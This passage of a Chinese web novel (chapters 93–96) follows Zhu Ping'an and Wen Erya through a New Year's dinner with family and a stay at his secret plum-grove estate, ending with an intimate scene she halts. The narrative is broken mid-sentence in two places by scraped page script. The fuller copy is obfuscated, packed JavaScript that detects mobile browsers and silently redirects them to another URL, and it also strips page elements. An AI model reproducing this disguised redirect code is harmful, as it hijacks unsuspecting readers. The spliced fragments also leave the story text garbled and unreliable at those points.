祝平安又想到,这么说,烧纸岂不也是一样的流程?先是通过焚烧把实物信息化,接着在通过叫名字这种古老的咒术确定传输对象,只是没有储存功能,是即发即达,有时候还会因为焚烧不充分导致传输丢包。 有没有可能往烧纸这个方向努努力呢?这个成本可是很低…… 祝平安提出她的新发现,然后她发现温尔雅用一种想要笑又不敢的眼神看着她。 她卡了个壳,接着自己也想到,烧纸是只有活人烧给死人的!死人之间互相烧要是有用,地府至于这么多年都只是用传口信的方式过日子吗? 祝平安连忙给自己往回找补:“是往这个方向思考,不是说就让大家烧纸了。” 温尔雅露出一个浅笑:“是是是,我回去就研究研究,只是你也要想想,怎么才能把所有差役的名字都录出来,负责职司也写清楚,然后把这些名字分发给所有百姓都知道。” 祝平安再度泄气了,好吧,这么一想,其实烧纸这个主意也不可能,否则大家要是换了岗位,她还每个星期都得重新统计一遍人,更新通讯录。如果真是这样的话,光通讯录的麻烦就扯不尽,百姓们也肯定嫌不好用。 温尔雅看她垂头丧气的样子,又有点心疼:“好了好了,都说这不是一朝一夕的事情,没看张松鹤想了几年也没什么好主意?还是想点别的吧,马上就是新年了,我们有六天假,你想怎么过?” 听到这里,祝平安也不禁思考起来。去年的新年,他们是跟里奥一块过的,常言道过年就是要一家团圆,如果里奥真去投胎了,两个人可就见不着了。今年理所应当,也是要跟里奥一块过吧? 祝平安的想法,都在温尔雅意料之中。他很想跟祝平安度过一个只有他们俩人的新年,甚至还想好了行程规划。 他知道一个地方,那里有万顷梅林,人迹罕至,新年时节,繁花如海,美不胜收。 他从前就爱那里清净优美,故而在那里修了一个小小的庄园,每年在这个季节都会去散心。那里是他的私产,后土神殿的其他祭司都不知道,在不认识祝平安之前,那里是世界上唯一能让他放松的地方。 但一切以祝平安的意愿为重,旅游这种机会以后也有,他便没坚持,只是柔顺的说:“好的。” 93.年夜饭 转眼之间,新年就到了。法定假期是腊月三十到初五,她还壮着胆子请了两天年假,休到初七,温尔雅自然也跟着请了年假。 左膀右臂双双请假,她本以为张松鹤八成不会给的,就是准假说不定也要盘问一下她们双双请假是要干啥,她还在脑子里盘算了几个说辞,谁知张松鹤一接到申请,就立刻同意了,一点都没拖延。 “你都不问问我请假做什么?”祝平安惊讶了。 张松鹤看她一眼,又转开目光:“为什么要问?你要去做什么,我一点都不想知道。” 张松鹤望着她跟温尔雅的请假表,两人的假期完全重合,他们是要……可他又能怎么做呢?不给? 先不说那样会不会显得太小家子气,就算是不准假,又有什么用?难道两个人还会因此分手? 毫无意义的事情他是不会做的,如果他不快乐,就让所爱之人也跟着不快乐,那也太卑鄙了。 这世界上人人都可以悲伤,唯独她,每天都要笑啊。 拿到假期的祝平安当天晚上就兴冲冲跑到石将军那里去了:“里奥里奥,是你们回家过年,还是我们来你这里过年?” “啊?你们要来啊?”里奥居然一副很吃惊的样子:“我们打算新年去江城旅游来着,追忆一下我们的青春……初一就要走了,正想跟你们说呢……” 祝平安表示不太开心了。 你怎么能有了爱人就忘了曾曾外孙女呢?她虽然没说出口,但里奥分明从她眼睛里看出了她的怨念。 祝平安表示里奥不地道!见色忘孙女!她虽然也坐拥了温尔雅这样的绝色,可是新年也还想跟曾外太婆一块过啊! 被祝平安盯得直冒冷汗,里奥投降了:“还是我们回去吧,房子大一点比较方便。不过我们旅行的票都买了,初一是一定要出发的哦!” “放心吧,绝对不打扰你们二人世界!”祝平安嬉皮笑脸,乖觉得很。 这次的新年说不定是跟里奥一块过的最后一个新年,温尔雅提前半个月就开始折腾,暗自发誓要在里奥面前,把自己本来就好的印象分再次提到一个高度,比如说曾曾外孙女婿什么的。 从打腊月十八,他就开始准备:大扫除、备年货、点心糖果、年夜饭的菜单…… 他完美主义的个性大发作,菜单一天换一套,祝平安看他在厨房里煎炒烹炸的试菜,到睡觉时间都不停,很想跟他说:你别折腾了,再这么帮你试菜下去,我还没等过年就要胖三斤了…… 除夕那天,里奥拉着石志坚早早就回来了,温尔雅自然早就预备好了她们的拖鞋和房间,还尤其贴心的为石志坚准备了硬底拖鞋,而不是里奥祖孙都喜爱的软拖鞋。石志坚毕竟是老人家了,穿硬底鞋他走路更稳当。 石志坚自然也能感受到这份心意,穿上鞋子对温尔雅就是赞不绝口。温尔雅抿着嘴:“您太夸奖了。” 里奥也满意的看着温尔雅,他能照顾石志坚,比照顾她还令她高兴。 再一看温尔雅,全不似去年穿着华丽正装的样子,只是穿一身家常衣裳,头发松松扎在脑后,两袖挽起,还穿一条围裙,烟火气十足。哪里还像是租住在这里的客人,分明就是主夫的范儿嘛! 温尔雅又为大家端上茶水点心,茶是助消化又开胃的山楂茶,点心是符合老人口味,松软嫩滑的布丁。见大家都还满意,就又回身到厨房里去了:“中午简单吃点,不要嫌弃,好菜都在晚上呢。” 祝平安蹦蹦跳跳也跟着进了厨房:“中午有什么吃的?” 里奥看着两人情态有所不同,心中不禁偷笑起来。近日来她的生活舒心畅意,年轻爱玩的一面全都漏了出来。 她也不吭声,踮起脚尖就往厨房的方向摸过去,石志坚一看她探头探脑的样子就笑了出来:“你呀你……” 里奥回身嘘了一下,摸到厨房门口,果然看见祝平安从后面抱着温尔雅的腰,温尔雅一边做着菜,一边无奈地摇摇头,从锅里夹出一颗焦溜丸子,喂到祝平安嘴里。 哎呦~真是甜的齁死人啊! 她没憋住,忍不住笑出了声,厨房的两人吓了一跳,连忙乖乖站好。里奥笑道:“干嘛呀,还瞒着我!” “这个,还没到跟你说的时候嘛……”祝平安有点脸红了,她虽然一向胆大,但被长辈撞破两人的亲昵还是有点害羞。 倒是温尔雅大方自如:“你们出去说话吧,这里又是火又是烟的,小心熏着。” 顿一顿,又嘱咐祝平安:“要是不忙的话,聊天的时候顺便帮我剥点蒜?” 于是祝平安三人就在客厅剥起蒜来,其实温尔雅哪里需要用那么多蒜,无非是给她们找点事干,以免尴尬。 果然,开始剥蒜后,连较为拘谨的石志坚也顺利的融入了话题:“什么时候开始的?上次去,我还没看出来呢。” “也没多久,就这几天吧。” 里奥一边捻蒜皮一边道:“你们俩最近才捅破窗户纸啊?我看着都着急。也就是你了,这么迟钝,人家当时追着你换部门,又追着你搬进来,你一点感觉都没有?” “还不都赖你,他是故意搬进来的,你不告诉我,还说是你把房子租给他的!”祝平安回手就是一口大锅甩到里奥身上。 里奥举手投降:“好吧好吧,我的错,真是的……得了便宜还卖乖!” 她接着又跟祝平安说了几句心里话:“他对你有真心,又体贴,这样的男人打着灯笼也找不着。日常相处你也别太迟钝了,免得伤了人家的心。” 客厅里的声音时不时传到温尔雅耳朵里,他看着锅里汤水沸腾,只觉得心里都是暖洋洋的。原来,有一个家,是这种滋味…… 正说着话,门铃叮咚一响,祝平安前去开门,门口站着的居然是白子欣。他提着满满两大袋子东西:“平安姐,新年快乐!” “来就来了,怎么还带东西?”祝平安不免客气几句,岂料白子欣嘿嘿笑:“一袋是我送你的,另一袋是星雨烟花厂送你的。因为不知道你家在哪,所以就送到部里了,我是顺便给你捎过来。” 祝平安打开白子欣自己那一袋子“礼物”,发现全是零食,不由得有点好笑,这小子真是…… 她引着人往里走:“你怎么来了?” “来蹭饭的呗,今年的年夜饭我没着落了。”白子欣笑嘻嘻的。 “咦?你不是说你妈每天都给你供奉三餐……” “最近不行啦。”白子欣露出一脸欣喜:“她已经在住院了,看样子,也快过来跟我团聚了!” “咦???” 祝平安张口结舌,不知道该说“恭喜恭喜”还是“节哀节哀”,不过看白子欣这么高兴,她还是选择用乐观的态度看待这件事:“那感情好,阿姨来了,以后你也有家了。” 白子欣还在喋喋不休:“我还打算给我妈办个欢迎party呢!平安姐,你来不来?” “好啊,到时候你联系我。”祝平安一口就答应了,把白子欣引到沙发坐下,温尔雅再次端茶出来,用询问的眼神看着祝平安。 他们之间的关系,里奥和石将军知道了无妨,可白子欣也是公共安全部的,让他知道 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“我霸凌又怎么样?”祝平安笑的邪恶。 最后打断这番热闹的还是午餐。幸好温尔雅想要刷印象分,即使只有四个人吃饭,也准备了八菜一汤,现在多个白子欣也完全没压力。 五个人就这么吃吃喝喝了起来,对温尔雅的厨艺赞不绝口。温尔雅的心情也非常好:虽说并没想着有名分,但多一个人知道他们俩关系的变化也是很开心的啊~ 这样想着,他甚至还主动给白子欣盛了碗汤。 白子欣真是受宠若惊了! 大家在琢玉学院上学的时候,虽然温尔雅也是他们同组的队友,但谁不知道他看着笑眯眯的,其实心里清高的很,跟谁都是面子情?也就是对祝平安别有不同。 大家上班了之后,他也从来没看在老同学的情分上多照顾自己一点,今天这是怎么了,太阳打西边出来了? 不过,还真没想到,那个清高的不得了的温尔雅,现在也能端着汤碗,笑的这样有人间烟火气息。这一年里,究竟都发生了什么呢? 想也想不明白,干脆还是喝汤吧。白子欣端着汤碗喝了一口:嗯!好喝! 过年,除了吃吃喝喝就是玩。吃过饭,几个人又开始打扑克,大家玩了几把之后,一致同意把温尔雅撵出牌局:他打得太好了!别人不管怎么样都赢不了他,很挫败有木有?要是他故意让着大家,就更没意思了,索性还是不跟他玩。 这是第一次因为太优秀而被排挤,可温尔雅一点都不在意,大家不让他玩,他就笑着站在一边端茶递水伺候牌局,有时候还悄悄指点祝平安出牌,这下子可糟了,几局下来,连祝平安都被撵了下去:“不准两个人一块作弊!” 祝平安只得认栽,她跟温尔雅一块儿离开客厅,让他们三个一块玩去吧,正好也可以享受一些二人时光。 “明天里奥他们就走了,还有六天的假期,我们怎么过?”温尔雅发问了。 祝平安暂时还没想过,半晌之后,才不确定道:“额……要么我们也出去玩玩?但是什么都没准备啊……” 只要她也有这个心就好说,温尔雅想到能够实现二人一起在庄园小住几日的梦想,心中更加愉悦:“好的,我今天晚上就去准备。” “到底是去哪里玩?要是远的话,明天不一定能叫到车啊!”祝平安担心。 温尔雅笑着揽住她肩膀:“这事情你就不用管了,今晚睡个好觉吧,明天可能要早起。” 94.男朋友他原来是土豪 当晚的团年宴亦是宾主尽欢,吃过了饭,随之而来的是各种拜年信息,不少朋友还表示想在新年上门拜访,祝平安庆幸她的朋友们都是差役,还能用传真鼎告诉他们自己要去旅游!否则这些人真的上门探访,她这个新年就哪里都别想去啦! 跟朋友们传讯后,大家又一块把星雨送来的烟花放了,满城焰火雷动,看天上,十家有八家放的都是星雨的焰火,看来星雨烟花厂今年的生意不用愁了。 祝平安原本还担心若是他们出去旅游,吃不完菜就只能倒掉,正好白子欣的到来帮助他们解决了这个问题,他临走的时候把吃不完的菜都打包了。 “接下来几天我就靠这些熬过去了!”白子欣疯狂打包,还把冰箱里温尔雅准备的卤味、水果都扫荡了。 这小子还真不客气! 不过也算帮她解决了一个难题吧,所以祝平安就由他去了。 里奥他们也很快告辞了,旅游的行李都还在石志坚家里,所以他们明天还是在石家出门来的方便一点。 虽然不能在一块过初一,里奥走的时候还是给了祝平安一个匣子。 “这是我和石志坚送你的新年礼物。”里奥笑着摸摸她的头,“之前我还觉得也许没机会给你,现在看来,我准备的正是时候。” 祝平安拆开匣子,被一片金光晃花了眼睛:“这是?” 匣子里有一对大金镯子!粗粗大大,盘龙团风,土豪的不得了!看起来足有半斤重! “龙凤镯。”里奥抚过那对金镯子,“本来现在还不该给你,但这时候不给,你真正成家的时候,我八成也不在了。” 她叹息道:“石志坚去投胎的申请批下来了,一个月之后,我们就要走了。” 祝平安也是默然,本来她不想收下那对龙凤镯,但现在,这对镯子饱含了更多的意义。这一次,是真正的离别了,她还没想好要说什么,温尔雅已经将匣子合上,郑重其事的收好。 “我一定会好好照顾她的。”这就是温尔雅的承诺了。 里奥深深地凝望眼前的男子,半晌,才重重拍了拍他的肩膀:“你只要不让她伤心就行了,别的,全都无所谓。” 里奥和石志坚走了,祝平安把匣子收好,良久叹了口气。 “别担心,他们的来生,一定会很幸福的。”温尔雅把她抱在怀里,轻声安慰:“他们会两小无猜的一起长大,一起玩,一起吃,一起上学,一起工作……长大后,顺理成章的结为夫妻,相互扶持,白头到老。” “借你吉言,希望他们就算再世为人,也能有这段缘分吧。”祝平安也衷心希望里奥的来生能获得幸福,但她没有温尔雅这么有信心,世事无常,没有了前世的记忆,他们来生还会再见吗?结局一定能幸福吗? 温尔雅看出了她脸上的怀疑,轻柔地揽住了她,让她的额头抵在自己的胸口。 会的,一定会的。他在心中默默地说。 只要是你的愿望,我都会让它实现的。 当天夜里,祝平安翻来覆去睡不着,直到快到起床时分,才迷迷瞪瞪地睡了一会,于是等温尔雅来叫起时,她死活也睁不开眼睛。 “再睡一会儿……就五分钟……”她闭着眼睛嘟囔。 温尔雅瞧着她把脑袋埋在枕头里,五分钟后,她睡得更沉了。 无奈地摇摇头,温尔雅选择了连人带枕头一起打包。他把祝平安从被窝里挖出来,又裹上一件大斗篷,还在她脖子里塞了个u型枕。他动作相当轻,祝平安啥都没感觉到,呼噜噜睡得更沉了。 温尔雅把祝平安抱出门外,那里已经有一辆笼车在等,看温尔雅抱着个什么东西出来,驾车的仆人赶忙迎上来想要帮把手。 温尔雅下巴一抬,用眼神示意他站住,仆人这才看见,温尔雅抱的是个女人,睡得正香。看这状态,必定是主人的恋人了。 温尔雅微微扭过头,以动作示意仆人把他们的行李带上。仆人非常乖觉地拿上行李,看主人抱着那女子登车,一路轻手轻脚,一声不吭,生怕扰了那女子清梦,自然拿出十二万分的小心来驭鸟。 一路上都是平平稳稳,笼车在气流中微有起伏,好似一个摇篮,祝平安睡得更沉了。 她翻个身,感觉好像脸埋在了一个热乎乎的地方,还有着好闻的草木香气,不禁依恋地蹭了蹭,温尔雅哪里买来这么好的枕头?居然还有自发热功能,真是太舒服了! 温尔雅瞧着祝平安把脑袋埋进自己怀里,眸色越发温柔。他把斗篷拉高,盖住祝平安的后脑,空中风大,吹到脑袋会着凉的。 这一觉睡得昏天黑地,祝平安醒来的时候还是蒙的。 这是哪里? 室内陈设古朴典雅,窗棂上绘着缠枝莲,地毯上织着流云纹样,她从一张小屋子那么大的床上醒来,浅紫的床帐飘动,透过床帐,她看见一个青衫男子坐在窗下,斜支头颈,玉一样洁白的修长手指间,捻着一枚乌黑的棋子,美如画卷。 她疑心自己还是在做梦,否则怎能见到如斯美景?听到她的响动,男子放下棋子走过来,笑道:“醒了?” 见她张开眼睛,温尔雅拍拍手,十名侍女垂着头鱼贯而入,每个人手里都捧着不同的东西。 温尔雅接过第一名侍女手中的毛巾,放入第二名侍女捧着的铜盆,第三名侍女提着银壶,向盆中注入热水。温尔雅将毛巾浸湿,给祝平安擦脸擦手,又从第四名侍女手中接过润肤的脂膏,在祝平安脸上细细擦匀。 接下来,他从第五名侍女手中接过梳子,就着第六名侍女捧着的镜子,帮祝平安梳头。第七名侍女手中捧着首饰匣子,第八名侍女则捧着胭脂水粉,温尔雅看了看还在懵懵懂懂的祝平安,她平日总是素面朝天,这两样东西,恐怕她用不上。 他一挥手,这两名侍女恭敬的退下去,第九、第十名侍女在床上放上炕桌,摆上膳食与碗筷,又恭谨施了礼,默然无声地退下去。 到这会儿,祝平安才清醒过来,瞧着眼前的排场,恍然疑心自己是穿越了。 那,旁边的温尔雅是温尔雅么?难道两个人一块穿越了? 她轻轻咳了一声,决定先对对暗号:“家里的洗衣液用的是什么牌子的?” “不是红月亮牌么?”温尔雅奇怪地瞧她一眼,“怎么突然说起这个?” 很好很好,确实是本人,没有穿越。祝平安松口气,这才问道:“这是哪儿啊?我怎么过来的?” “不是你说想出来玩的吗?早上叫你又叫不醒……”温尔雅好笑的摸摸她头:“先吃东西吧。” 祝平安扫过眼前的炕桌,上面摆着个五个梅花攒盒,共二十五样精致小点,每盒仅有两个,虽只有手指大小,却花样繁多。有玲珑可爱的莲花酥、晶莹剔透的蜜橘冻、栩栩如生的金鱼糕……貌美程度远超祝平安生前见过的和果子! 这些东西……真的不是什么酒店名厨做出来的?只有两个人吃的早餐,就做了那么多花样? 温尔雅却一副司空见惯的样子,他看都没看那些点心一眼,而是把一碗清汤面往祝平安面前推了推:“这些点心都是摆着给你看的,口感反而没那么好。这碗面才是给你吃的,动筷子吧,要不然就凉了。” 也太奢侈了吧! 祝平安森森的怀疑自己的耳朵了,点心是给你看的?这不是传说中慈禧老佛爷的待遇吗?吃一看十?没想到自己有一天还能享受到这样的腐败生活啊!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仿佛是嫌给她的震撼还不够,温尔雅拉起她的手道:“先换身衣服吧,一会儿,我带你到庄子里四处转转,也让下人们都来拜见一下你。” 等等等等会儿!下人们?刚刚那十个还不是全部? “你这里一共有多少……仆人?”祝平安艰难问道。 “贴身服侍的不多,只有二十个吧,如果加上做粗活的,庄子里一共有二百六十一人……噢,不对,是二百七十一个。”温尔雅随口报数,“昨天听说你要来,我叫人连夜再找来了十个侍女服侍你。” 二百七十一人,就伺候他们两个? 祝平安头晕目眩了:“哪个……现在人口买卖不是犯法的吗?哪来那么多的仆人?” 温尔雅笑笑,人口买卖当然是犯法的,但也是近一百年才出现的事情,之前哪有人在意这个?哪个大户人家不是呼奴使婢? 而他手上这些,都是几百年前就已经买来的奴才,有很多生前都在皇宫里伺候,市面上轻易找不到这样的好货色。 后来人口买卖被禁止了,但旧有的主仆从属关系依然是完全合法的,他已经享受惯了这些人的伺候,自然不会傻兮兮的跟随倡导,放这些下人自由。 再说了,即使他想放,这些下人还不乐意呢。他事情繁忙,一年也只不过来别庄住上小半个月,其余的时间,这些下人还不就是闲着?还包吃包住工钱照发,出去了他们去哪里找这么好的工作? 但这些事,他不想说给平安知道,只是告诉她:“我们签了契书,他们都是合法的下人,你不用担心。” 接着,他吩咐道:“伺候小姐穿衣服。” 95.暗香疏影 祝平安生在春风里长在红旗下,生活还是能基本自理的,实在不习惯别人帮她穿衣服。温尔雅劝道:“只怕你自己不会穿这里的衣服。” 衣服有什么不会穿的?小瞧我! 祝平安不信,死活还是把侍女们推出了房间,自己打开衣橱一看,却傻了眼:这里的衣服……没有一件现代服饰,全是古装啊! 这个,她还真不会穿,但是这会儿把侍女叫回来也怪怪的,她两眼一闭,不就是衣服吗,不信自己搞不定! 片刻后,她再次推门出来时,侍女们都忍不住低声笑了。 温尔雅抬头望去,只见祝平安上身穿着一件主腰,外搭对襟长衫,下身只有一条犊鼻裤,连忙将她推回屋子里:“怎么这样就出来了?” 祝平安茫然:“怎么了?这样不行吗?”她看看自己身上,这不就是背心五分裤配一件外套么,没啥问题啊? 温尔雅扶额不语,不敢告诉她犊鼻裤是内裤的一种,但见她无所谓,决定全都由着她:“那咱们先去主厅?我把下人都叫来见见你。” “不见不见!”祝平安脑袋摇成拨浪鼓,“那些侍女什么的,也最好都撤了,我不习惯走到哪里都有人跟着,怪不自在的,想干点什么都不方便。” 温尔雅只是一挥手,侍女们便恭顺地离开了,祝平安这才松口气。瞧着温尔雅发问了:“你……原来这么有钱啊?你之前是做什么的?” 她这会感觉跟温尔雅都有点距离了,虽说看温尔雅的容貌气质,也知道他不会太穷,但看到一座庄园放在眼前,那就是另一回事了。 “别动,你的衣带没系好。”温尔雅却没回答,而是盯着她胸口皱了眉:“过来,我帮你重新整理一下。” 祝平安张开手,像个大爷一样任他服侍,温尔雅细致的帮她整理衣服。瞧着他纤长的手指灵巧地帮自己系衣带,她心里一片妥帖,无论他是什么人,他都是自己的温尔雅。 “没什么,只是做点小生意而已。”温尔雅帮她弄好衣服,轻描淡写的把话题带过去,他的身份还不到暴露的时候,好在平安比较好骗,他转开话题:“要不要去梅花林里转一转?” 只是一点小生意么?祝平安迷惑不解,但温尔雅明显是不想说,于是她也就不再问了,开始期待在梅林里的散步:“好啊好啊!” 这别庄里的梅花不知道有多少,香气浩荡,绚烂如云,祝平安只觉浑身都被熏成梅花味的了,陶陶然不知身在何处。 起初,她还担心有仆人在附近,不敢放开来玩,随着两人越走越深,周围已经看不见他物,只有铺天盖地的梅花,层层叠叠,遮遮掩掩,恍如迷阵。 祝平安这才撒起欢来,一会儿拉低花枝嗅嗅,一会儿又在地上拾花瓣,把衣服下摆拉起来当成网兜用,装了满满一兜花瓣,又把那些花瓣抛上天空,幻想自己沐浴在花雨中,玩的不亦乐乎。 她在这里蹦来蹦去,温尔雅就含笑在一边看着,等祝平安发够疯了,却发现他已经不见了。 “尔雅?”她扬声叫起来,在周围转圈找了找,还是不见人影,难道先走了?不可能啊,总会跟她讲一声的吧? 忽然,她感觉到脖子被轻轻扯了一下,她低头,将一枚玉佩从脖颈中扯了出来。 那是跟温尔雅初次见面时,他送的玉佩,他手里也有一个,可以互相感应。现在,这枚玉佩颤动不已,向着一个方向不停地拉扯她。 是在那边吗? 祝平安跟着玉佩的引导,转过梅林,跃过清溪,随着流水,来到一处林中的简陋竹舍。竹舍前,温尔雅已经换了一身素色纱衣,闲坐阶前,优美的乐声从他唇边传来,祝平安好奇地走上前,才发现他双唇间含着一片小小的树叶。 那是一支古朴悠扬的曲调,清澈婉转,如林间露水,祝平安坐在他身边,静静的听着,良久,一曲终了,他叹口气,俯下身子,枕在祝平安的大腿上。 祝平安知道,这里,才是他真正想带她来的地方。 他的长发披散开,像一条冰凉的河流在她膝盖上蔓延,祝平安摸着他的头发:“这个地方,是不是很像你之前的家?” “不像。”他闭着眼睛,露出一个苦笑:“这里……只是我梦想中的家。 ” 被寒梅与清溪缭绕,静谧的、美丽的、温馨的家。 这栋小屋的一砖一瓦,都是他亲手挑选建造,没有假借仆人之手,像幼儿搭建娃娃屋一样用心。在过去的日子,每次遇到烦心事,他都会来这里坐一坐,心就会变得很沉静。 他闭眼,享受着她温柔的抚摸:“我一直想要带你来这里,今天,我终于有机会了。” “带我来这里做什么?” 他哑然,良久却只是轻轻一笑:“只要你在这里,我就很满足了。” 祝平安的心变得又酸又软,她又想起了困在小屋里的男孩。 在几千年长长的,寂寞的时光里,他就一直在这里,吹着树叶,等着有人能走进他的世界吗? 想起那个画面,她心一酸:“好,我来了,我会一直陪着你的。” 温尔雅的身子轻轻一震。 他翻身起来,带着几分急切的凝视着她:“你说的是真的吗?一直陪着,永远不离开我吗?” “额……上班的时候还是要走的。”祝平安话一出口,就感觉自己有点煞风景,连忙往回找补了一句:“只要我有空闲的时候,我会一直陪着你的。” 她轻轻捧起他的脸,呼吸拂过他的发丝与鼻尖:“春天的时候,跟你一起在细雨里散步;夏天的时候,去海边吹风;秋天的时候,一块儿吃糖炒栗子,冬天的时候,就一起待在家里喝热可可……无论四季轮转,风霜雪雨,做什么我都会带着你一块儿,你再也不会寂寞了。” 他的心一片醉软,为她的话语,为她诚挚的眼睛,为她一直记得,他很寂寞。梅香如故,他的心境却不复曾经宁静。她到底知不知道,她对他许下了什么承诺? 嘴唇上一暖,是她轻轻覆了上来。自从表白心意后,他们经常有缠绵的热吻,她也学会了不少唇舌间的技巧,可这个吻,像是飘飞的雪花,素白的落梅,轻而纯洁,不带丝毫欲望,而是一种温柔的安慰。 她是在……心疼他。 这一刻,天与地,生与死,他统统都忘了,只觉自己的心口热烘烘的。她的吻,她的柔情,她的疼惜,成了这世界上唯一有意义的东西。 这一刻,他终于确定,她爱的不是那个风华无双,高高在上的大祭司,而是那个被困在牢笼里的,小小的男孩。 他突然心满意足的笑了。 你知道吗?我会给你世界上的一切。无论是你想要的,还是你不想要的;无论是我拥有的,还是我没有的。 只因为你爱我。 而这就足够了。 他的长发披散开,情丝万千,绵绵密密,缠绕在她的发丝与脖颈间,夹杂着落梅缤纷,夹杂着寒香万缕,无比汹涌地扑向她。 他要给她一切的一切……就从把自己给她开始。 他揽着她的头,无比认真的加深了这个吻。 一开始是依恋的贴紧,然后是情动的吮吸,吻的味道逐渐变质,空中的花香气越发浓烈。他那么用力的箍着她,仿佛用尽了千年的力气来拥抱她。 他在这世界上唯一拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036502|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的,也永远不愿意放弃的珍宝。 这跟之前的吻都不一样,祝平安想。 他的嘴唇那么热,那么烫,那不是拼命的索取,而是要把他的全部都融化在这个吻里,灌输进她的生命,与她融为一体,永世难分。他的情感是那样的热烈,又那样的深沉,她不由自主,跟着他的节奏,全心沉沦在这个吻中。 侧坐在阶前的姿势稍有些不舒服,她轻轻扭动一下腰,温尔雅敏感地发现了她的动作,吮着她的嘴唇,含糊不清的问道:“不舒服吗?” 她点头,刚想换到正坐的姿势,下一秒,却身体一轻,不由得惊慌地抱紧他的脖子。 他双臂用力,托着她的大腿将她抱起来,向着竹舍内走去。他托的很稳,但随着脚步,微微颠簸还是令她一阵心慌。 她的双腿不由自主的盘在他腰肢上,感受到这具躯体内散发出的力量,不由得问道:“你……什么时候变得这么有力气了?” “我这个人,总是习惯做很多准备的。”他的声音低哑,“你之前不是问我为什么开始练拳吗?” 他抱着她走到屋内,用脚带上了门,室内陡然昏暗下来。她拥着他,感受到他的热度变得更加清晰:“是为了这一天,这一刻……” 她被他放在了一张竹榻上,他单膝跪在她的双腿之间,身子向她俯下来,在她身上投下一片阴影:“是为了能够像这样,拥抱着你……” 他再度吻了上来。 她的心一阵颤抖,为他的动作,更为了他的心意。这次的吻更加火热,好像要把她整个人含在嘴里珍藏。 她被他吻的心慌意乱,仿佛坠入无边的迷海,手指不由自主地轻轻在他肩头挠着,想要抓住一根救命稻草。 他的手掌插入她的指间,与她十指交缠,初时轻柔地抚慰着她,随着亲吻的加剧,他的手指也越发用力,捏的她指尖也一片潮红。 花香无孔不入的向她扑来,她的身子被困在他与竹榻的方寸之间,她一向以为温尔雅是一个如水般温柔的男子,现在她知道,再温和的水波也有热浪,而现在,热浪盘旋,预谋着将她吞没。 终于,她在这股热浪中挣出一个空隙,她的话语已经破碎不清:“你……到底想要干什么……” “我什么都不想要。”他埋首于她的脖颈处,声音闷闷的有些失真,“你应该问,是我想要给你什么……” 他仰头,她清晰的看见,他的喉结滚动,微微发红的眼眸中倒映出她迷离的脸。他执起她的一只手,依恋地在自己脸颊处贴紧:“我想要给你我的感情,我的心……” 他握紧她的手,从脸颊滑落到胸膛:“给你我的命运,我的未来……我的一切一切……” “现在,该换成我问你了。”他的呼吸轻轻喷在她的耳廓上,引得她身躯一阵颤抖:“平安,我给你的东西,你要,还是不要?” 她被他直白的话语震撼,只觉浑身的血液都冲上了头顶。没有听到她的回答,他轻轻咬住她的耳朵,吮吸着她的耳垂,在她耳畔创造出一片潮湿的水声。 可恶……用这一招…… 她在他的吮吸下浑似没了骨头,只觉灵魂都要被他的舌头席卷而去,嘴角只溢出一些破碎的呜咽,浑身恍如被烈火焚烧,快乐中又隐含着一丝不满足的痛苦。 偏他还不放过她,似乎一定要听到一个答案,见她不语,他的嘴唇沿着她的耳朵滑到下颏,流连在脖颈上,或轻或重的吮吸、啃咬,一声紧似一声的问道:“平安,我给你的东西,你要收下吗?” “是要,还是不要?” 他的嘴唇危险的滑落到她衣襟前,衔住了她的衣带,轻轻一扯。 96.要或不要 身上突然一凉,祝平安的理智终于有了丝丝回笼,她挣扎着坐起,想要系好衣带,却是越心急越拿那些带子没办法。衣带还没打好一个结,她的手腕再度被他捉住:“你还没回答我呢。” 他一手握紧她的手腕,另一只手捏住她的衣襟,似乎随时都有可能掀开:“如果你不回答,我只能当你是默认了哦?” 祝平安被逼得不得不说话了:“尔雅……你冷静一下……” 听到她叫这个名字,他的腹部都不由自主的绷紧了,再也克制不住地在她嘴唇上咬了一口:“一边要我冷静,一边还这样叫着我……你让我怎么冷静的下来?嗯?” 他的手一动,祝平安感觉自己已经走到了一个危险旋涡的边缘,连忙紧紧按住他的手:“停下来!” 他的呼吸一滞,一瞬间几乎有点不可置信,但他总是顺从着她的。他松开她,闭了闭眼,强自压下身体里的情潮,话语带上了几分再怎么压抑也隐藏不住的落寞:“你……不想要我?” “不是的。”祝平安听出了他声音中的悲伤,连忙解释道:“只是,我还没准备好……” 是害怕吗?也对,她之前应该没有过经验…… 他笑了,安慰地吻了吻她的手,没有勉强她松开衣襟,而是单膝跪在榻下:“别怕,交给我就好。” 祝平安被他的呼吸弄得浑身痒痒,深吸口气,捉住他的手:“我不是怕……我是说真的,我现在不能和你做这个。” 他停住,半晌,才缓缓的问:“是不能做这个,还是不能和我?” 祝平安咬牙摇了摇头:“是现在不能。” “我不明白……”他困惑不解,“你不喜欢我吗?难道,刚刚你说的,都是骗我的?” “当然不是骗你的!”祝平安看他的样子就知道他想歪了,连忙否认,她拉住他的手,把他拉到榻上,响亮地在他脸上吻了一下,他面色稍霁,但仍然抿着嘴唇看她,他需要一个解释。 她抓住他的手,握了又握,良久才叹息道:“我是觉得,我还不够了解你。” “到今天,我才发现,其实我对你几乎是一无所知。” “你喜欢吃什么?玩什么?害怕什么?最想要得到什么?你的社交圈子是什么样的,在我没出现的几千年里都发生过什么?” “你看,这些问题,其实我一样都不知道。”祝平安揉揉眉心,“是我的错,这么久以来,我享受着你的照顾,却从来没想过要去了解你。” 温尔雅呆呆地听着,忍不住插口道:“这件事,不是只需要互相喜欢就行了吗?” “不行。”祝平安坚定的摇摇头,“你听我说,我知道这件事想要发生是很简单的,甚至不用互相喜欢,只要互不讨厌就可以。” 